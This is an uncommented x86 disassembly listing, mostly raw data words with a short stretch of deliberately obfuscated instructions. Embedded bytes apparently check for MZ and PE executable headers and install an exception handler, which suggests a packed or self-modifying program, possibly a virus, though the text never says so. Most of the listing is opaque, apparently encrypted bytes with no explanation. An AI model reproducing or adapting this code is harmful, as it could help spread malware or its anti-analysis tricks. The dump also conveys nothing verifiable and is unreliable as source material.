dd 50400000h, 0B70585C3h, 22ED9D0Bh, 6EBB07E0h, 89576118h
dd 0B886h, 6A006A00h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 0E879C353h, 0Dh, 0ED2C5878h, 0D76F2ED1h
dd 4C81B866h, 0AD8D31F8h, 5B07E00Fh, 0CBADB5FFh, 6FB707E3h
dd 2A9995FFh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 91F2B4C3h, 76DF81BCh, 0E965AE31h
dd 6, 0B66E9E8Bh, 669683B2h, 508719BFh, 96BA6660h, 6A966142h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 0BEE5C357h, 0FF698F4Ch, 0E3CBADB5h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0B1E86448h, 1D3F28Eh, 0E02681B5h, 96BB6607h, 0E995FF28h
dd 0FC07E028h, 28E1BD83h, 0F0007E0h, 5D84h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 29795056h, 37E7AC31h, 816694ECh, 50F681DBh, 6A243489h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 5648C353h, 34004281h, 60500176h, 29DBB70Fh
dd 0E0006595h, 0B5FF6107h, 7E3CBADh, 68E0Fh, 0BD030000h
dd 7E00FA1h, 3595FFFCh, 8B07E030h, 0E007D59Dh, 0ADB5FF07h
dd 2B07E3CBh, 0E011219Dh, 0B995FF07h, 0E907E001h, 11h
dd 0B5AB483h, 9B208348h, 0AD092846h, 463877F4h, 31BD837Fh
dd 207E007h, 54840Fh, 8B660000h, 39858BFEh, 6A07E020h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 8A3EC351h, 876DFD6Bh, 0C6B275B5h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 38CD71C3h, 0BE1AC69Ch, 85C7C61Bh, 7E0043Dh, 0
dd 0E9FA8B66h, 0FFFFF2E0h, 8B0FC18Bh, 5, 7BCB8166h, 0C9858D5Dh
dd 0E907E013h, 8, 1ACD6BBAh, 81A906F3h, 66525050h, 310FD88Bh
dd 61605250h, 585A310Fh, 489585Ah, 0B5316024h, 7E02535h
dd 29598D8Bh, 6A6107E0h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 204016FEh, 8736EA7Eh
dd 0B75B53B4h, 66006A32h, 858DFB8Bh, 7E5410Fh, 5317DF81h
dd 0C083402Ch, 0DBD8B05h, 9007E029h, 8A50FD8Ah, 6A90F8h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 0B3AE03C3h, 6A006A61h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 9C88C355h, 128E1136h
dd 31006A89h, 0E010B585h, 4195FF07h, 8D07E034h, 0E3A3938Dh
dd 0E5853107h, 0FF07E01Ah, 50006AD1h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 2E9FB1BBh
dd 229FD50Dh, 0BD83478Ah, 7E016B1h, 4C850F01h, 0F000000h
dd 26ADBBFh, 8B6650F8h, 240489F9h, 6870Fh, 9D8B0000h, 7E026A9h
dd 0D9BD8Bh, 95FF07E0h, 7E02A99h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 0D4C35141h, 0D2BA1877h, 0FD9D8953h
dd 0E907E02Fh, 0D9Fh, 0E8h, 0ED815D00h, 7E54119h, 1031BD89h
dd 816607E0h, 66CF06C3h, 9148DF81h, 9463858Dh, 9D8907E3h
dd 7E02A2Dh, 4F59D8Bh, 0F5007E0h, 228Ch, 0E8525000h, 10h
dd 1D2D126Ah, 5D26DB58h, 53225E3Ch, 0DF6AC66Ch, 0F310F5Bh
dd 8Dh, 89585A00h, 8B662404h, 0C3BF66DFh, 35FF6437h, 0
dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 2895C355h, 9E9h, 0D05BC900h
dd 15666A67h, 85FFE940h, 7E020FDh, 0DE9h, 3DD53B00h, 3A28817Ch
dd 0A89E7D14h, 0FF6AC083h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 7BC35343h, 0E4DE88D8h, 98FECE0h, 0D8D898Ah
dd 0FF07E032h, 0E007B9B5h, 8995FF07h, 0E907E033h, 13Eh
dd 0EE960h, 20740000h, 6DD56BE2h, 0BC1E472Fh, 94495640h
dd 131D9501h, 0B06107E0h, 0C3816600h, 70E67B8Eh, 71E4FE8Bh
dd 1B759D8Bh, 613C07E0h, 108830Fh, 0FFC0000h, 0F98BC8B6h
dd 0D68B6660h, 6BA61FCh, 66000000h, 8BE155BFh, 10E9C1h
dd 0B5F40000h, 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h, 0BE9B0BCh
dd 55000000h, 4971C479h, 342C22Dh, 0E8C116ADh, 0E2F76604h
dd 185D8589h, 0C82B07E0h, 26B98D89h, 0D18B07E0h, 0F284BF66h
dd 0ADE9h, 0E9BD8900h, 8B07E01Ch, 47554C85h, 83F98B49h
dd 0DE907C0h, 73000000h, 0B318E0Eh, 8F9C8FD9h, 7A0DC539h
dd 1D8D89h, 0C08307E0h, 0F3F78100h, 3B73D80Ah, 1F830FD0h
dd 9000000h, 0E0251D95h, 68E907h, 0FE90000h, 0F2000000h
dd 0A7F4DD17h, 0CD27C866h, 8AFFAA1Eh, 8D8B7C92h, 0FFFFFFFFh
dd 69858B60h, 8007E015h, 83612BE5h, 840F01E1h, 3Ah, 12E9h
dd 0D661200h, 6AA7781Dh, 93998E26h, 995C92AAh, 83F2B8E1h
dd 0FFFFFFA5h, 9D03FEFFh, 7E01195h, 554C9589h, 9D8B4947h
dd 7E01005h, 1A56EEBFh, 0E913h, 0B58D0000h, 7E4BF3Ch, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0EBC35141h, 6A71F070h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 25150DEEh, 10618D89h, 0BD8B07E0h, 7E0004Dh
dd 18A995FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0BB6677C3h, 0E4B9C008h, 6A00000Fh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 5435C350h, 2E896999h, 0FE8B6657h, 1DC7BB66h
dd 81FCE183h, 2E69A2D3h, 6AFC0Dh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0E9E302C3h, 0Ch, 33452159h
dd 8FFF958Ch, 74FD90E2h, 0B8h, 5D9D8B00h, 0BA07E023h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 44C35343h
dd 0A7F19862h, 1C29DA1Dh, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 73C35242h
dd 0FAF0247h, 68Fh, 719D8B00h, 0E907E016h, 13h, 0D976FCDBh
dd 0D200304Ch, 84DDA731h, 776EC1F2h, 8B92FF02h, 0E019119Dh
dd 880D07h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 822A10C3h, 0C7AC91C2h, 958BC563h
dd 7E01815h, 0B5BD8B52h, 5B07E033h, 20498D8Bh, 6A07E0h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 2FA141C3h, 0F6B7E381h, 8B504C0Eh, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 9E9h, 1AA84F00h, 6D06EF80h, 0BD8B36E2h
dd 7E02AF1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 0B9C35242h, 0F5BD8372h, 7E012h, 0D9840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 2BA960C3h, 38F0Fh, 0B70F0000h, 0B8F8h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 231846C3h, 7F63214Fh, 0F517D3BCh, 1B8B0Fh, 8B0F0000h
dd 15h, 0FE8h, 4A200C00h, 521FDCA6h, 5FE58F18h, 3FC6FB5Dh
dd 0E88D8D5Bh, 6A07E04Eh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 4E6AC352h, 88B867BEh
dd 0A19FAA3Eh, 2F0D8D89h, 6E907E0h, 6000000h, 0E3D5397Fh
dd 6AE1FF41h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 9EC0C352h, 9A4FB6B5h, 79BD8B2Ch
dd 8307E007h, 0E022C5BDh, 840F0007h, 422h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C7C35343h, 89117A0Eh
dd 0E005DD9Dh, 0C5BD8307h, 107E022h, 40B840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 25EDD8C3h, 0CE20703Bh, 0BD833C0Bh, 7E022C5h, 0A4860F03h
dd 8B000003h, 0E016B5BDh, 13E96007h, 7B000000h, 0CA13872Bh
dd 2C0AAE45h, 0C935B547h, 0B83E269Ah, 8C668229h, 57006AD9h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 9D8BD7D0h, 7E01A85h, 8B04E180h, 0E02665BDh, 0FC90A07h
dd 13284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 64578BA8h, 38F48059h, 8BF8F5DDh
dd 0E0339985h, 68D0F07h, 0B000000h, 0E030719Dh, 89853307h
dd 0E807E031h, 14h, 0CD059B35h, 781AB004h, 0A2E360EAh
dd 0C5BCB975h, 87833D92h, 0BB66905Bh, 0E8509C4Eh, 13h
dd 0B0889AF3h, 0D7CC9CDEh, 0ECEC6F7Dh, 0AF7D97FBh, 50E25FC4h
dd 0D88B6652h, 585A310Fh, 6E9905Bh, 0CD000000h, 0C0AB28A8h
dd 6A006AF1h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0E99FC357h, 11h, 84C9A72Dh, 51ACDBAEh
dd 0A0298CDh, 0D2AD27E8h, 9E87Ch, 0E9800000h, 2E012C2Ch
dd 346B41Fh, 0E021E59Dh, 8D295F07h, 7E01B61h, 0C13FE668h
dd 240481E7h, 185DC419h, 0EE8h, 10D60800h, 8F3A459Eh, 0E593AF7h
dd 50E3B394h, 8D0Fh, 5B5F0000h, 21CD95FFh, 0BE807E0h, 0F3000000h
dd 9B2C3EB2h, 57E11EF2h, 816645EAh, 5FB645CFh, 0CBAD8589h
dd 0CEBB07E3h, 0E942F322h, 1AFh, 8BFAB70Fh, 0E3CBA585h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 0E559034Eh, 9D8B4CB9h, 7E00511h, 0F6C6E381h
dd 0C76A52h, 18h, 0CBA9B58Bh, 6A07E3h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 91BF3FC3h
dd 59BD2987h, 8B07E026h, 0E005F985h, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0B9F7247Dh
dd 9AC3134Eh, 7DBD0938h, 8907E02Bh, 0DE8B6606h, 3399858Bh
dd 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 687FAFC3h, 0A4C69E73h, 0BD8B1BF1h, 7E02EE9h
dd 89DF8B66h, 22BF0446h, 963AAD12h, 5BFD8A52h, 97BF6650h
dd 6A9621h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 0F991F9C3h, 0BEF2FBE9h, 0DEB70FA3h, 74D9D2Bh
dd 0B5FF07E0h, 7E3CBA5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 9FC35646h, 5D8AA668h, 2513BB56h, 348153D4h
dd 42895924h, 5952956h, 8D07E014h, 0E3CBAD85h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0BE4F1A31h, 0BF0F5B76h, 0D5B589D9h, 5007E007h, 0F240489h
dd 95FFDFB7h, 7E021CDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 0B3C35343h, 9D5AFEB2h, 2100F520h, 2595896Eh
dd 6107E016h, 0C7F98B66h, 0E022C585h, 307h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0C3393525h, 0BD29F4B8h, 7E00495h, 0CBADBD83h, 0F0007E3h
dd 2E84h, 0BD9D8900h, 0E907E018h, 3Eh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 7CC35040h, 2C153A0Bh, 501097B8h
dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h
dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
dd 0DD8AC08Bh, 8D896060h, 7E018C9h, 0EE9h, 6BD0AF00h, 27F4963h
dd 0B903EEB7h, 61C88842h, 666138B2h, 833CCEBFh, 0E022C5BDh
dd 850F0307h, 3D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 2EC35646h, 0BCC56EFFh, 83803D51h, 0E3CBADBDh
dd 840F0007h, 3A1h, 16C58589h, 0B5FF07E0h, 7E3CBADh, 11999D03h
dd 95FF07E0h, 7E01DA9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 7BC35343h, 8BD496FCh, 0E3CBA1B5h, 498D8907h
dd 0C707E008h, 1000106h, 96F88B00h, 96B612BBh, 6DBB5061h
dd 96190FB1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 95C35040h, 604C3F62h, 5E8F5h, 9BCE0000h, 1618524h
dd 0E0237985h, 0FF615907h, 0E3CBADB5h, 56006A07h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 4D9D23D8h, 6607E007h, 0FF2FFDBBh, 0E0301195h, 5800F07h
dd 66000000h, 67A4EB81h, 0CBA1B58Bh, 858907E3h, 7E00769h
dd 22D1858Bh, 8D8907E0h, 7E00595h, 0C48689h, 0BD8B0000h
dd 7E01CE9h, 1815958Bh, 800F07E0h, 0Ch, 68E0Fh, 8D090000h
dd 7E030E9h, 6A04C283h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 5C28C351h, 50891ECFh
dd 50006A20h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 8ADDB05Dh
dd 0D4858DF9h, 8907E3E0h, 0B886h, 999D8900h, 6A07E010h
dd 0EE900h, 4130000h, 35FF5BAEh, 0AD19828Bh, 0C37E2B44h
dd 0CBADB5FFh, 0BD8907E3h, 7E02541h, 2A9995FFh, 8E807E0h
dd 0F0000000h, 5B93381Ah, 0FFA2E22h, 505BFEB7h, 6A243489h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 5999C357h, 0BEE58CA3h, 89698F4Ch, 0E01AEDBDh
dd 0ADB5FF07h, 6A07E3CBh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 8B0FC351h, 9263FBCh
dd 4DC455E3h, 28E995FFh, 6A07E0h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0A3A2F9C3h, 0B3F9A14Fh
dd 0E1BD8333h, 7E028h, 60840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 891837C3h
dd 0E02DA99Dh, 69B58907h, 9607E008h, 0F501DB3h, 282h, 961BB300h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E5C35545h
dd 84A84972h, 0CC4470DFh, 21859D8Bh, 0B5FF07E0h, 7E3CBADh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5BC35141h
dd 0E4E412EBh, 83B40A86h, 0F58FBF66h, 303595FFh, 6A07E0h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 2E8690C3h, 0F5448696h, 0CBADB5FFh, 0BD8B07E3h, 7E00DDDh
dd 1B995FFh, 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 59B84EC3h, 9589E5BCh, 7E010C5h
dd 731BD83h, 0F0207E0h, 5684h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 14CEB371h
dd 0F11BA21h, 686h, 86D78100h, 8B657408h, 0E0203985h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0C51A07FAh, 0C70000C6h, 0E0043D85h, 7, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 8BC5912Dh, 0E0204D9Dh, 0F324E907h, 0BD8BFFFFh, 7E00F51h
dd 0B199D89h, 0C18B07E0h, 0BAFB8B66h, 0F00E0000h, 0EA81h
dd 0C283F000h, 0F1958914h, 8307E030h, 858D14EAh, 7E54F59h
dd 35FF6450h, 0
dd 258964h, 0E8000000h, 0
db 'X+Â%',0
db 0F0h, 2 dup(0FFh)
dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh
dd 658589C8h, 307E004h, 0B70F3C40h, 95890650h, 7E01411h
dd 8950508Bh, 0E015A595h, 0F80507h, 508B0000h, 89D1030Ch
dd 0E023E995h, 8500307h, 0F419589h, 8F6407E0h, 5, 4C48300h
dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
dd 2FF5BD83h, 0F0007E0h, 2484h, 5985C600h, 4707E007h, 9AA7D268h
dd 2DB5FFD4h, 8D07E029h, 0E37FE885h, 6AD0FF07h, 89D0FF00h
dd 0E016A985h, 0E8D38B07h, 13h, 9BF4917Ah, 0D1A7853Ah
dd 6B6D9920h, 0AE8610AEh, 6038FCC5h, 6E8h, 47231000h, 660512F2h
dd 5897C7BFh, 0A490D9B8h, 0F596172h, 387h, 0C0BF0F00h
dd 5C5BC181h, 8B660000h, 80D22BFAh, 1C8B2CE4h, 0C381FC11h
dd 11D84D91h, 0F38133B0h, 1D6E5D11h, 0CE8h, 86A4DD00h
dd 8E44FACAh, 98E090CFh, 0BE9DFh, 0E9140000h, 2E1B6608h
dd 35253F51h, 0EB815F39h, 4E2F5B97h, 0ADC261B8h, 81665366h
dd 8F4F8BD6h, 0F5531104h, 2EA835Eh, 800Fh, 4A4A0000h, 4820Fh
dd 0B8660000h, 0FA813384h, 0FFFFA480h, 25850Fh, 0F530000h
dd 48Dh, 0F8BF6600h, 20E95E3Eh, 0B2000000h, 55CCFA82h
dd 2EBF1617h, 0B3012BEDh, 0A7876F5Eh, 0E9354EC3h, 0FFFFFF6Ah
dd 5D5C7659h, 0E9FE446Ah, 2Bh, 0A1FD25Eh, 9 dup(0)
dd 0E9000000h, 4ADh, 2741FBE3h, 9CB66E55h, 132DE5CAh, 86A05841h
dd 0FE18D2B4h, 290B00A9h, 9F83556Fh, 16F9CBE5h, 8C72445Eh
dd 0EDD8B8D2h, 0D550E7CAh, 461D8F21h, 0C9CF876Ch, 8B452BA7h
dd 0ECA68886h, 601A00D2h, 0BD775D5Bh, 14D3BAB8h, 7472772Fh
dd 0D8CFD48Eh, 0A7D822Dh, 482E78D5h, 0BFA2748Eh, 2F16F007h
dd 8D747277h, 2ED9D0D5h, 11F4C628h, 72565459h, 90BDB3B8h
dd 4E06E933h, 0C27C6234h, 0AE2E5ABDh, 41EC98E0h, 21DBC173h
dd 8D6D81Bh, 1D4E29BAh, 723C6AC0h, 7C575434h, 64000000h
dd 0E5EAA48Ah, 474C04E7h, 7D9FA550h, 52389AC6h, 0EA22DF62h
dd 0A2E7E8E6h, 595F3BE4h, 0BABF795Fh, 0BA753C73h, 5AB7E829h
dd 36EED1ABh, 2E343A31h, 5434C6F0h, 0C57D6640h, 27DFC2C0h
dd 7A802B22h, 1F6h, 442B4000h, 4A24878Ch, 0ADA7AD65h, 0B090EC6h
dd 14536A22h, 0BAA0C0F1h, 5D63B629h, 0B689D10h, 0A5C9DAC1h
dd 0A172D562h, 4E9C5155h, 0AFB0ECAEh, 3218EA04h, 2B645E78h
dd 8C8A8F49h, 80E8EDA5h, 0AE90DA37h, 0C9A3DAF4h, 2A242AE2h
dd 87858A44h, 89E5EAA2h, 5975CB28h, 725434E8h, 7Eh, 8F492BBCh
dd 0EFA78C8Ah, 0ED4277EAh, 13F8B99Bh, 5F96B05Bh, 16D00533h
dd 0BAA0BEF3h, 6165B829h, 0DBE11DE6h, 5B3EFFE1h, 90F3F8A3h
dd 128A5C64h, 6D7327E0h, 0CDD28A73h, 2C31EBCFh, 8C91492Eh
dd 3B86DB24h, 0BE75CA2Bh, 2E45FDE4h, 0B9A8A60Bh, 777DD029h
dd 34102571h, 3E6E54h, 2BB80000h, 8C8A8F49h, 0BAECF1A9h
dd 1FF9A805h, 807A8038h, 0F3CDE49Eh, 4F4D520Ah, 0FD03AE66h
dd 442BA19Bh, 4A24878Ch, 0B2A9AE68h, 0A14569ACh, 0B0E129BAh
dd 0EAC1FD53h, 1EA5434h, 34000000h, 5109ECC6h, 0B46C514Bh
dd 11CBB1AFh, 94E9160Ch, 8BA55D42h, 5B72B15Fh, 0DBE19B81h
dd 0A011597Ch, 0ED472E5Ah, 50474C04h, 5500BA9Eh, 0B26C5250h
dd 0CDE0C698h, 8B6E6662h, 3D50CFD3h, 50979C47h, 21DA9C5Fh
dd 0AA8F6908h, 0F0F6EDF2h, 0EED4267Bh, 62481A34h, 0BFA5A3A8h
dd 4F980005h, 9CC2A8F2h, 1E23DBC2h, 9B852C27h, 2F1621DAh
dd 0A47B7277h, 0A5AA644Ah, 3E5803AEh, 0D4EF2260h, 0B6987253h
dd 0FA00F7FCh, 10176h, 0ECC6C000h, 0F4484E08h, 0D5F80F2Ch
dd 2E5A8701h, 0BC1F2477h, 7B575A7Dh, 614421DAh, 0D6ADA4A9h
dd 9D837D83h, 11F7C9E3h, 6E545257h, 630EC6ADh, 50ADF65Eh
dd 0E8A675A1h, 0AF3F38A0h, 0FC9AFA9h, 95EB17F5h, 450453D4h
dd 4E000000h, 0D8EF4ED1h, 455E1CB5h, 384FA256h, 6A87540Ch
dd 0E5EB84A8h, 0B6605198h, 543BA9BAh, 0B799979Ch, 11C6F8FDh
dd 0D09171BCh, 0E540CF73h, 7326ABCEh, 3D90D645h, 6317FA26h
dd 175DAC49h, 73ADAF11h, 43000000h, 0D9F04FD1h, 5AA4E4B6h
dd 70EE1A2Eh, 0B3F74A12h, 6ABDDCE2h, 5B816765h, 0D9D57938h
dd 7B20521h, 7B351BEDh, 0D59D2F76h, 4F0421D9h, 8C2A8F2h
dd 0E15EC2EEh, 268EA7CAh, 95E8267Fh, 0C265527Eh, 0F2F4AD07h
dd 0A0A55D40h, 5856A3A9h, 0BDB3B872h, 6D4467A6h, 929B564h
dd 0E63BB0B6h, 4259D63Ah, 5AB4161Fh, 61D702Eh, 591627DAh
dd 393FE7B4h, 4FD1DDD7h, 0C09AD9F0h, 231A1FD7h, 0F15BDA1Dh
dd 1DB2E5Fh, 0BA725918h, 0D130A0Fh, 98969BEEh, 0CDEF8B2h
dd 0C9836526h, 81B674C4h, 3D92EA78h, 9BE2E792h, 1C5A9B26h
dd 3136EED5h, 0A68F4E33h, 47F2E9EEh, 0F8551642h, 4598EB5h
dd 0F812CCB2h, 81864026h, 0F9DB9A83h, 98433A3Fh, 0F6AE9593h
dd 550FF3F1h, 0D02D5A50h, 3EE9A186h, 0C00A6794h, 340620DAh
dd 618F944Eh, 8, 40FAE0BAh, 6624183Ah, 8489432Bh, 0E1E6A086h
dd 434800E3h, 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h
dd 2025DDC2h, 7E833B22h, 6260686Dh, 2C890000h, 0E2895224h
dd 4C281h, 0EA830000h, 24148704h, 2414895Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push eax
mov eax, 7273678Ch
sub eax, 5D4F513Eh
or eax, 194304CEh
inc eax
sub eax, 1
add eax, 0EA7E39EAh
mov edx, eax
pop eax
push 4CCDh
mov [esp], esp
add dword ptr [esp], 4
pop ebx
sub esp, 4
mov [esp], edx
pop dword ptr [ebx+8]
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_554887
; ---------------------------------------------------------------------------
dd 4C1C5F9Eh, 0B010A805h, 0E4F51CB6h, 54C5B8B1h, 0C50307E5h
dd 2F6EE0FFh, 0BC87592h, 0AE3F1F10h, 0C4524B7Bh, 17F823A5h
dd 5247458h, 2500572Fh, 7F462898h, 0BCF72C1Ch, 853B73F0h
dd 0B0BA0DB6h, 341370CFh, 1D8F5206h, 30B635F6h, 7AE106C9h
dd 8D8D4F69h, 7E556B5h, 8D89F18Bh, 7E01815h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8EC35747h, 0E428FB8Fh
dd 0BE9h, 0BBBB2700h, 0F7C5CBEFh, 255CDEF0h, 204985C7h
dd 650407E0h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 0E8CCBFC3h, 4BAEB866h, 22C585C7h
dd 7E0h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 5132FAC3h, 4839585Bh, 8D89F7F1h
dd 7E00839h, 7B9B5FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 0BAA1B2C3h, 9CE0B491h
dd 13E94C2Eh, 15000000h, 9C04E968h, 8EBD55D2h, 0F08318A6h
dd 0EED8B1AAh, 95FFA87Eh, 7E02091h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0E1C35646h, 6AF59Eh, 18A995FFh
dd 0C08B07E0h, 0B1590BEBh, 0FBBE7A2Dh, 3BEC2CA9h, 158D8D59h
dd 107E557h, 0E03165BDh, 158D8907h, 8B07E018h, 0E010519Dh
dd 4985C707h, 1407E020h, 0BB000069h, 25CA1E42h, 22C585C7h
dd 7E0h, 95010000h, 7E02AA1h, 2A5DB5FFh, 0D28107E0h, 4ED89274h
dd 209195FFh, 6A07E0h, 18A995FFh, 0C08B07E0h, 0C54D2AEBh
dd 357C31D9h, 799C010Ah, 0C0999D9Dh, 8BF7161Fh, 91FE2BC4h
dd 423CC1B0h, 459CCD2Dh, 43A03940h, 7D0C6DA0h, 65BCD9C6h
dd 4BE3D20h, 67313220h, 0AA54D591h, 8AE9BE6Eh, 0E139FF91h
dd 0D6BA5405h, 853E36A9h, 13130D4h, 0DBB0CACAh, 518FFA76h
dd 10248F93h, 0E3135E8h, 1310380h, 818E5402h, 307DB3Bh
dd 15B3280h, 132DA16h, 5F113220h, 75B86CD3h, 45B0362Ch
dd 1293620h, 57773202h, 0F89286C2h, 1D8226BBh, 23FCA7CBh
dd 53A135C0h, 13123F8h, 0BFE70C08h, 85F574BBh, 6151C339h
dd 1F52F8F8h, 5361A5E0h, 596B034Fh, 8A61687Bh, 0B4BAA2EBh
dd 6D13AA5h, 257D330Bh, 8884BBFCh, 5936D211h, 3A68C401h
dd 0C1B2570Fh, 5631580Ch, 13131F8h, 0C26E1208h, 254DBB5Bh
dd 2575B306h, 1312B05h, 0C2667580h, 0DAF6A6B2h, 8E3E3E37h
dd 1313218h, 1B33D68h, 60313204h, 15B3A89h, 132DA56h, 5E113280h
dd 7DB86D83h, 45B03604h, 1293634h, 56763208h, 6C6D94C7h
dd 158A3D12h, 2686667h, 0E101FF1Dh, 49BA5447h, 0F4B403DCh
dd 6736D214h, 0FE070B89h, 21B60Bh, 8C183202h, 6D13A8Ch
dd 2838F303h, 0E11C53DDh, 0E808B227h, 77B71Fh, 15B3208h
dd 132DA52h, 5F113202h, 75B86CC2h, 45B036A4h, 1283664h
dd 57773220h, 88DABAD3h, 32C642C0h, 0E13957B9h, 0B8ACB905h
dd 8A36D223h, 15B33C1h, 132DA13h, 5A113220h, 5DB869D3h
dd 45B0362Ch, 1243620h, 52723202h, 8A9164C2h, 0E12A3B1Dh
dd 8841947h, 236D200h, 533158D8h, 13131E0h, 0C26B1204h
dd 2565BB58h, 2575B305h, 1312F84h, 0C2637040h, 0EA2DBECCh
dd 9AC7621Dh, 0DFBAB6C4h, 13121ECh, 9F950702h, 671D0930h
